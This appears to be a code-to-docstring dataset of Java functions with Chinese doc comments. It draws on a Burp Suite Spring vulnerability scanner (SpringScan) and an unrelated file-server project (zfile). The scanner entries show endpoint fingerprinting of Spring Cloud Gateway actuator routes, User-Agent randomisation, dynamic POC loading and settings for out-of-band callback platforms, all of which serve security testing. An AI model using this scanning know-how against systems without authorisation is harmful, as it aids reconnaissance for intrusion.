private boolean isSpringGatewayFinger(IHttpRequestResponse httpRequestResponse, boolean isProdApi) { try { IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); IHttpService service = httpRequestResponse.getHttpService(); String url = Utils.getUri(requestInfo.getUrl().toString()); if (isProdApi) { url = url + "prod-api/actuator/gateway/routes"; } else { url = url + "actuator/gateway/routes"; } byte[] newRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), url)); requestInfo = this.helpers.analyzeRequest(service, newRequest); // 重新打包好新的uri请求 // header中Accpet: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 List<String> headers = requestInfo.getHeaders(); for (String header: headers) { if (header.startsWith("Accept")) { // 坑点: 带冒号匹配会报错 headers.remove(header); headers.add("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"); break; } } // 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取 IRequestInfo requestInfo1 = this.helpers.analyzeRequest(service, newRequest); newRequest = new String(newRequest).substring(requestInfo1.getBodyOffset()).getBytes(); // 组装请求 newRequest = this.helpers.buildHttpMessage(headers, newRequest); IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newRequest); String body = new String(requestResponse.getResponse()).substring(this.helpers.analyzeResponse(requestResponse.getResponse()).getBodyOffset()).toLowerCase(); if (body.contains("route_id")) { this.burpExtender.stdout.println("[*] Detect SpringGateway Finger: " + url); return true; } } catch (MalformedURLException e) { e.printStackTrace(); this.burpExtender.stderr.println(e.getMessage()); } return false; }
SpringGateway 访问/actuator/gateway/routes、/prod-api/actuator/gateway/routes 判断响应内容是否有SpringGateway特征: route_id @param httpRequestResponse @return
Scanner::isSpringGatewayFinger
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private byte[] randomHeader(IHttpRequestResponse httpRequestResponse) { IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse); byte[] rawRequest = httpRequestResponse.getRequest(); List<String> headers = requestInfo.getHeaders(); // 先删除User-Agent,再添加随机的User-Agent for (String header: headers) { // this.burpExtender.stdout.println("header " + header); if (header.startsWith("User-Agent")) { // 坑点: 带冒号匹配会报错 headers.remove(header); headers.add("User-Agent: " + RandomHeaders.randomHeader()); break; } } // 获取body byte[] bodyRequest = new String(rawRequest).substring(requestInfo.getBodyOffset()).getBytes(); // 拼接header和body return this.helpers.buildHttpMessage(headers, bodyRequest); }
随机Agent头 先将原来的Agent删掉,再添加随机Agent @param httpRequestResponse @return
Scanner::randomHeader
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private String normalized(IRequestInfo requestInfo) { String type = requestInfo.getMethod(); String url = String.valueOf(requestInfo.getUrl()).split("\\?")[0]; // 获取?之前的url return Utils.MD5(url + "+" + type); }
归一化请求包 格式: ${url} + GET/POST @param requestInfo @return MD5
Scanner::normalized
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
private boolean isChecked(String url_md5) { return this.allScan.contains(url_md5); }
是否已扫描过 @param url_md5 @return
Scanner::isChecked
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
public void close() { if (this.backend != null) { this.backend.close(); } }
关闭持续监听的Dnslog
Scanner::close
java
metaStor/SpringScan
src/main/java/burp/scan/Scanner.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java
MIT
public static String MD5(String src) { byte[] digest = null; try { MessageDigest md5 = MessageDigest.getInstance("MD5"); digest = md5.digest(src.getBytes()); } catch (NoSuchAlgorithmException e) { throw new RuntimeException("MD5 Algorithm not found!"); } return new BigInteger(1, digest).toString(16); }
MD5加密, 用于只扫描一次同类uri @param src @return hexadecimal string
Utils::MD5
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static String getUriExt(String url) { String pureUrl = url.substring(0, url.contains("?") ? url.indexOf("?") : url.length()); return (pureUrl.lastIndexOf(".") > -1 ? pureUrl.substring(pureUrl.lastIndexOf(".") + 1) : "").toLowerCase(); }
获取url的文件后缀 @param url @return ext
Utils::getUriExt
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static String getUri(String url) { url = url.replace("https://", "").replace("http://", ""); // 截去http://或https:// String pureUrl = url.substring(0, url.contains("#") ? url.indexOf("#") : url.length()); // 排除锚点 pureUrl = pureUrl.substring(0, pureUrl.contains("?") ? pureUrl.indexOf("?") : pureUrl.length()); // 排除参数 pureUrl = pureUrl.substring(pureUrl.contains("/") ? pureUrl.indexOf("/") : pureUrl.length(), pureUrl.contains("/") ? pureUrl.lastIndexOf("/") : pureUrl.length()); // 取最后一个/之前的uri return pureUrl + "/"; }
取url的uri路径 @param url http://xxx:8080/api/auth-manager-microservice/v1/login/anon/apps?_t=1649647394555kna8 @return uri /api/auth-manager-microservice/v1/login/anon/
Utils::getUri
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static boolean isErrorStatusCode(int status_code) { return Arrays.stream(new Integer[]{ 400, 500, 502, 503 }).anyMatch(e -> e == status_code); }
判断状态码是否是异常 异常响应码: 400, 500, 502, 503 @param status_code @return
Utils::isErrorStatusCode
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static boolean isStaticFile(String url) { for (String ext : STATIC_FILE_EXT) { if (ext.equalsIgnoreCase(Utils.getUriExt(url))) return true; } return false; }
判断uri是否静态文件, 使用传统的循环判断,时间复杂度为O(1) @param url @return true/false
Utils::isStaticFile
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static IPoc[] getPocs(Integer[] rangePocs) { List<IPoc> pocs = new ArrayList<IPoc>(); try { for (Integer no : rangePocs) { Class<?> poc = Class.forName("burp.payload.pocs.POC" + String.valueOf(no)); pocs.add((IPoc) poc.newInstance()); } } catch (Exception e) { e.printStackTrace(); } return pocs.toArray(new IPoc[0]); }
获取pocs包中的所有poc类 @param rangePocs @return Map
Utils::getPocs
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static String randomStr(int n) { StringBuilder s = new StringBuilder(); char[] stringArray = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'}; for (int i = 0; i < n; i++) { char num = stringArray[random.nextInt(stringArray.length)]; s.append(num); } return s.toString(); }
随机取 n 个字符 @param n @return String
Utils::randomStr
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static int getRandom(int min, int max){ return random.nextInt(max) % (max - min + 1) + min; }
随机获取 [min, max] 范围内的随机整数 eg: [1, 3] => 1, 2, 3 ps: min为0的时候会计算会少1,如:[0, 3] => 0, 1, 2 @return random int
Utils::getRandom
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static long getRandomLong() { return Math.abs(random.nextLong()); }
随机获取long数值 @return
Utils::getRandomLong
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static String bytes2Hex(byte[] src){ if (src == null || src.length <= 0) { return null; } StringBuilder stringBuilder = new StringBuilder(""); for (int i = 0; i < src.length; i++) { // 之所以用byte和0xff相与,是因为int是32位,与0xff相与后就舍弃前面的24位,只保留后8位 String str = Integer.toHexString(src[i] & 0xff); if (str.length() < 2) { // 不足两位要补0 stringBuilder.append(0); } stringBuilder.append(str); } return stringBuilder.toString(); }
byte[] => string @param src @return
Utils::bytes2Hex
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static String urlEncode(String src) { try { return URLEncoder.encode(src, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return null; } }
URL编码 @param src @return
Utils::urlEncode
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public static String urlDecode(String src) { try { return URLEncoder.encode(src, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return null; } }
URL解码 @param src @return
Utils::urlDecode
java
metaStor/SpringScan
src/main/java/burp/util/Utils.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/util/Utils.java
MIT
public boolean isEnable() { return this.enableCheckBox.isSelected(); }
插件是否开启状态 @return true/false
Backends::isEnable
java
metaStor/SpringScan
src/main/java/burp/ui/tabs/SettingUi.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java
MIT
public boolean isErrorCheck() { return this.errorCheckBox.isSelected(); }
是否开启报错检测 @return true/false
Backends::isErrorCheck
java
metaStor/SpringScan
src/main/java/burp/ui/tabs/SettingUi.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java
MIT
public boolean isReverseCheck() { return this.reverseCheckBox.isSelected(); }
是否开启回连检测 @return true/false
Backends::isReverseCheck
java
metaStor/SpringScan
src/main/java/burp/ui/tabs/SettingUi.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java
MIT
public Backends getBackendPlatform() { return Backends.valueOf(this.backendSelector.getSelectedItem().toString()); }
返回选择到回连平台 @return Dnslog/BurpCollaboratorClient/Ceye
Backends::getBackendPlatform
java
metaStor/SpringScan
src/main/java/burp/ui/tabs/SettingUi.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java
MIT
public String getApiField() { return this.apiInput.getText().trim().toLowerCase(); }
获取 Ceye Api 地址 @return xxxxxx.ceye.io
Backends::getApiField
java
metaStor/SpringScan
src/main/java/burp/ui/tabs/SettingUi.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java
MIT
public String getTokenField() { return this.tokenInput.getText().trim().toLowerCase(); }
获取 Ceye Token @return xxxxxxxxxxxxxxxxx
Backends::getTokenField
java
metaStor/SpringScan
src/main/java/burp/ui/tabs/SettingUi.java
https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/ui/tabs/SettingUi.java
MIT
public boolean checkFileIsInaccessible(Integer storageId, String path) { List<FilterConfig> filterConfigList = filterConfigService.findByStorageIdAndInaccessible(storageId); return testPattern(storageId, filterConfigList, path); }
判断访问的路径是否是不允许访问的 @param storageId 存储源 ID @param path 请求路径
FilterConfigService::checkFileIsInaccessible
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
MIT
public boolean checkFileIsHidden(Integer storageId, String fileName) { List<FilterConfig> filterConfigList = filterConfigService.findByStorageId(storageId); return testPattern(storageId, filterConfigList, fileName); }
指定存储源下的文件名称, 根据过滤表达式判断是否会显示, 如果符合任意一条表达式, 表示隐藏则返回 true, 反之表示不隐藏则返回 false. @param storageId 存储源 ID @param fileName 文件名 @return 是否是隐藏文件夹
FilterConfigService::checkFileIsHidden
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
MIT
public boolean checkFileIsDisableDownload(Integer storageId, String fileName) { List<FilterConfig> filterConfigList = filterConfigService.findByStorageIdAndDisableDownload(storageId); String filePath = FileUtil.getParent(fileName, 1); if (StrUtil.isEmpty(filePath)) { return testPattern(storageId, filterConfigList, fileName); } else { return testPattern(storageId, filterConfigList, fileName) || testPattern(storageId, filterConfigList, filePath); } }
指定存储源下的文件名称, 根据过滤表达式判断文件名和所在路径是否禁止下载, 如果符合任意一条表达式, 则返回 true, 反之则返回 false. @param storageId 存储源 ID @param fileName 文件名 @return 是否显示
FilterConfigService::checkFileIsDisableDownload
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
MIT
private boolean testPattern(Integer storageId, List<FilterConfig> patternList, String test) { // 如果规则列表为空, 则表示不需要过滤, 直接返回 false if (CollUtil.isEmpty(patternList)) { if (log.isDebugEnabled()) { log.debug("过滤规则列表为空, 存储源 ID: {}, 测试字符串: {}", storageId, test); } return false; } // 校验表达式 for (FilterConfig filterConfig : patternList) { String expression = filterConfig.getExpression(); if (StrUtil.isEmpty(expression)) { if (log.isDebugEnabled()) { log.debug("存储源 {} 过滤文件测试表达式: {}, 测试字符串: {}, 表达式为空,跳过该规则校验", storageId, expression, test); } continue; } try { boolean match = PatternMatcherUtils.testCompatibilityGlobPattern(expression, test); if (log.isDebugEnabled()) { log.debug("存储源 {} 过滤文件测试表达式: {}, 测试字符串: {}, 匹配结果: {}", storageId, expression, test, match); } if (match) { return true; } } catch (Exception e) { log.error("存储源 {} 过滤文件测试表达式: {}, 测试字符串: {}, 匹配异常,跳过该规则.", storageId, expression, test, e); } } return false; }
根据规则表达式和测试字符串进行匹配,如测试字符串和其中一个规则匹配上,则返回 true,反之返回 false。 @param patternList 规则列表 @param test 测试字符串 @return 是否显示
FilterConfigService::testPattern
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/filter/service/FilterConfigService.java
MIT
public synchronized String getRsaHexKeyOrGenerate() { SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig(); String rsaHexKey = systemConfigDTO.getRsaHexKey(); if (StrUtil.isEmpty(rsaHexKey)) { byte[] key = SecureUtil.generateKey(SymmetricAlgorithm.AES.getValue()).getEncoded(); rsaHexKey = HexUtil.encodeHexStr(key); SystemConfig loginVerifyModeConfig = systemConfigMapper.findByName(SystemConfigConstant.RSA_HEX_KEY); loginVerifyModeConfig.setValue(rsaHexKey); systemConfigMapper.updateById(loginVerifyModeConfig); systemConfigDTO.setRsaHexKey(rsaHexKey); Cache cache = cacheManager.getCache(CACHE_NAME); Optional.ofNullable(cache).ifPresent(cache1 -> cache1.put("dto", systemConfigDTO)); } return rsaHexKey; }
获取 RSA Hex 格式密钥 @return RSA Hex 格式密钥
CacheEvict::getRsaHexKeyOrGenerate
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
MIT
public Boolean getSystemIsInstalled() { return systemConfigService.getSystemConfig().getInstalled(); }
获取系统是否已初始化 @return 管理员名称
CacheEvict::getSystemIsInstalled
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
MIT
public String getDomain() { SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig(); return systemConfigDTO.getDomain(); }
获取后端站点域名 @return 后端站点域名
CacheEvict::getDomain
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
MIT
public String getFrontDomain() { SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig(); return systemConfigDTO.getFrontDomain(); }
获取前端站点域名 @return 前端站点域名
CacheEvict::getFrontDomain
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
MIT
public String getRealFrontDomain() { SystemConfigDTO systemConfigDTO = systemConfigService.getSystemConfig(); return StrUtil.firstNonNull(systemConfigDTO.getFrontDomain(), systemConfigDTO.getDomain()); }
获取实际的前端站点域名 @return 实际的前端站点域名
CacheEvict::getRealFrontDomain
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
MIT
public String getForbiddenUrl() { return getRealFrontDomain() + "/403"; }
获取前端地址下的 403 页面地址. @return 前端地址下的 403 页面地址.
CacheEvict::getForbiddenUrl
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/config/service/SystemConfigService.java
MIT
public VerifyResultDTO verifyPassword(Integer storageId, String path, String inputPassword) { List<PasswordConfig> passwordConfigList = passwordConfigService.findByStorageId(storageId); // 如果规则列表为空, 则表示不需要过滤, 直接返回 false if (CollUtil.isEmpty(passwordConfigList)) { if (log.isDebugEnabled()) { log.debug("密码规则列表为空, 请求路径: {}, 存储源 ID: {}, 输入密码: {}", path, storageId, inputPassword); } return VerifyResultDTO.success(); } // 校验密码 for (PasswordConfig passwordConfig : passwordConfigList) { String expression = passwordConfig.getExpression(); String expectPassword = passwordConfig.getPassword(); // 规则为空跳过 if (StrUtil.isEmpty(expression)) { if (log.isDebugEnabled()) { log.debug("密码规则测试表达式: {}, 请求路径: {}, 表达式为空,跳过该规则比对", expression, path); } continue; } try { // 判断当前请求路径是否和规则路径表达式匹配 boolean match = PatternMatcherUtils.testCompatibilityGlobPattern(expression, path); if (log.isDebugEnabled()) { log.debug("密码规则测试表达式: {}, 请求路径: {}, 匹配结果: {}, 预期密码: {}, 输入密码; {}", expression, path, match, expectPassword, inputPassword); } // 如果匹配且输入了密码则校验 if (match) { if (StrUtil.isEmpty(inputPassword)) { if (log.isDebugEnabled()) { log.debug("密码规则匹配, 但未输入密码;" + "表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码:{}, 输入密码: {}", expression, path, storageId, expectPassword, inputPassword); } return VerifyResultDTO.fail("此文件夹需要密码.", AjaxJson.REQUIRED_PASSWORD); } if (matchPassword(expectPassword, inputPassword)) { if (log.isDebugEnabled()) { log.debug("密码规则匹配, 密码校验通过;" + "表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码:{}, 输入密码: {}", expression, path, storageId, expectPassword, inputPassword); } return VerifyResultDTO.success(expression); } if (log.isDebugEnabled()) { log.debug("密码规则匹配, 但输入密码与预期密码不同;" + "表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码:{}, 输入密码: {}", expression, path, storageId, expectPassword, inputPassword); } return VerifyResultDTO.fail("此文件夹密码错误.", AjaxJson.INVALID_PASSWORD); } } catch (Exception e) { log.error("密码规则匹配出现异常,表达式: {}, 请求路径: {}, 存储源 ID: {}, 预期密码:{}, 输入密码: {}, 解析错误, 跳过此规则.", expression, path, storageId, expectPassword, inputPassword, e); } } if (log.isDebugEnabled()) { log.debug("校验文件夹密码 path: {}, 没有匹配的表达式, 不进行密码校验.", path); } return VerifyResultDTO.success(); }
校验密码 @param storageId 存储源 ID @param path 请求路径 @param inputPassword 用户输入的密码 @return 是否校验通过
public::verifyPassword
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java
MIT
private boolean matchPassword(String expectedPasswordContent, String password) { if (Objects.equals(expectedPasswordContent, password)) { return true; } // 如果预期密码或输入密码为空, 则不匹配 if (ObjectUtil.hasNull(expectedPasswordContent, password)) { return false; } expectedPasswordContent = StringUtils.removeAllLineBreaksAndTrim(expectedPasswordContent); password = StringUtils.removeAllLineBreaksAndTrim(password); return Objects.equals(expectedPasswordContent, password); }
校验两个密码是否相同, 忽略空白字符 @param expectedPasswordContent 预期密码 @param password 实际输入密码 @return 是否匹配
public::matchPassword
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/password/service/PasswordConfigService.java
MIT
private String getHostByType(String type) { // 判断是标准版还是世纪互联版 if (Objects.equals(type, "Standard")) { return "graph.microsoft.com"; } else if (Objects.equals(type, "China")) { return "microsoftgraph.chinacloudapi.cn"; } else { throw new RuntimeException("不支持的类型"); } }
根据类型获取 API 地址 @param type 网站类型: Standard:标准版 China:世纪互联版 @return API 地址
sites::getHostByType
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java
MIT
private String getSearchSiteUrlByType(String type) { String hostByType = getHostByType(type); return StrUtil.format("https://{}/v1.0/sites", hostByType); }
获取搜索网站请求 URL @param type 网站类型: Standard:标准版 China:世纪互联版 @return 搜索网站请求 URL
sites::getSearchSiteUrlByType
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/controller/helper/SharePointHelperController.java
MIT
public FileContext execute(FileContext content) throws Exception { super.execute(content); return content; }
执行文件处理责任链 @param content 文件上下文 @return 是否执行成功
FileChain::execute
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/chain/FileChain.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/chain/FileChain.java
MIT
int order() default 99; /** * 参数键, 如果为空, 则使用字段名称. */ String key() default ""; /** * 参数名称, 用于网页上显示名称. */ String name(); /** * 字段类型, 默认为 input, 可选值为: input, select, switch. */ StorageParamTypeEnum type() default StorageParamTypeEnum.INPUT; /** * 当 {@link #type} 为 select 时, 选项的值. */ StorageParamSelectOption[] options() default {};
字段显示排序值, 值越小, 越靠前. 默认为 99
order
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/annotation/StorageParamItem.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/annotation/StorageParamItem.java
MIT
public AbstractBaseFileService<IStorageParam> getByStorageId(Integer storageId) { AbstractBaseFileService<IStorageParam> abstractBaseFileService = DRIVES_SERVICE_MAP.get(storageId); if (abstractBaseFileService == null) { throw new InvalidStorageSourceException(storageId); } return abstractBaseFileService; }
根据存储源 id 获取对应的 Service. @param storageId 存储源 ID @return 存储源对应的 Service
StorageSourceContext::getByStorageId
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
MIT
public AbstractBaseFileService<?> getByStorageKey(String key) { Integer storageId = storageSourceService.findIdByKey(key); if (storageId == null) { return null; } return getByStorageId(storageId); }
根据存储源 key 获取对应的 Service. @param key 存储源 key @return 存储源对应的 Service
StorageSourceContext::getByStorageKey
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
MIT
public static List<StorageSourceParamDef> getStorageSourceParamListByType(StorageTypeEnum type) { return storageTypeEnumFileServiceMap.values().stream() // 根据存储源类型找到第一个匹配的 Service .filter(fileService -> fileService.getStorageTypeEnum() == type) .findFirst() // 获取该 Service 的参数列表 .map(StorageSourceSupport::getStorageSourceParamList) // 如果没有找到, 则返回空列表 .orElse(Collections.emptyList()); }
根据存储类型获取对应的存储源的参数列表. @param type 存储类型: {@link StorageTypeEnum} @return 指定类型存储源的参数列表. {@link StorageSourceSupport#getStorageSourceParamList(AbstractBaseFileService)} )}}
StorageSourceContext::getStorageSourceParamListByType
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
MIT
public void init(StorageSource storageSource) { Integer storageId = storageSource.getId(); String storageName = storageSource.getName(); AbstractBaseFileService<IStorageParam> baseFileService = getInitStorageBeanByStorageId(storageId); if (baseFileService == null) { throw new InvalidStorageSourceException(storageId); } // 填充初始化参数 IStorageParam initParam = getInitParam(storageId, baseFileService); // 进行初始化并测试连接 baseFileService.init(storageName, storageId, initParam); baseFileService.testConnection(); DRIVES_SERVICE_MAP.put(storageId, baseFileService); }
初始化指定存储源的 Service, 添加到上下文环境中. @param storageSource 存储源对象
StorageSourceContext::init
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
MIT
private AbstractBaseFileService<IStorageParam> getInitStorageBeanByStorageId(Integer storageId) { StorageTypeEnum storageTypeEnum = storageSourceService.findStorageTypeById(storageId); for (AbstractBaseFileService<?> value : storageTypeEnumFileServiceMap.values()) { if (Objects.equals(value.getStorageTypeEnum(), storageTypeEnum)) { return SpringUtil.getBean(value.getClass()); } } return null; }
获取指定存储源初始状态的 Service. @param storageId 存储源 ID @return 存储源对应未初始化的 Service
StorageSourceContext::getInitStorageBeanByStorageId
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/context/StorageSourceContext.java
MIT
private Integer getStorageId(JoinPoint point) { AbstractBaseFileService<?> targetService = (AbstractBaseFileService<?>) point.getTarget(); return targetService.getStorageId(); }
获取存储源 id @param point 切入点 @return 存储源 id
FileOperatorExceptionWrapperAspect::getStorageId
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java
MIT
private Object getArg(JoinPoint point, int index) { Object[] args = point.getArgs(); return ArrayUtil.get(args, index); }
获取切入点方法第 n 个参数 @param point 切入点 @param index 参数索引 @return 参数值
FileOperatorExceptionWrapperAspect::getArg
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorExceptionWrapperAspect.java
MIT
private Object check(ProceedingJoinPoint point, FileOperatorTypeEnum fileOperatorType) throws Throwable { // 获取对应的存储源 service AbstractBaseFileService<?> targetService = (AbstractBaseFileService<?>) point.getTarget(); Integer storageId = targetService.storageId; // 判断是否允许文件操作. 如果不允许, 则抛出异常 StorageSource storageSource = storageSourceService.findById(storageId); boolean allowOperator = storageSource.getAllowOperator(); if (BooleanUtil.isFalse(allowOperator)) { throw new StorageSourceException(CodeMsg.STORAGE_SOURCE_ILLEGAL_OPERATION, storageId, "非法进行无权限的操作:" + fileOperatorType.getName()); } return point.proceed(); }
校验是否有此文件操作的权限 @param point 连接点 @param fileOperatorType 文件操作类型 @return 方法运行结果
FileOperatorCheckAspect::check
java
zfile-dev/zfile
src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorCheckAspect.java
https://github.com/zfile-dev/zfile/blob/master/src/main/java/im/zhaojun/zfile/module/storage/aspect/FileOperatorCheckAspect.java
MIT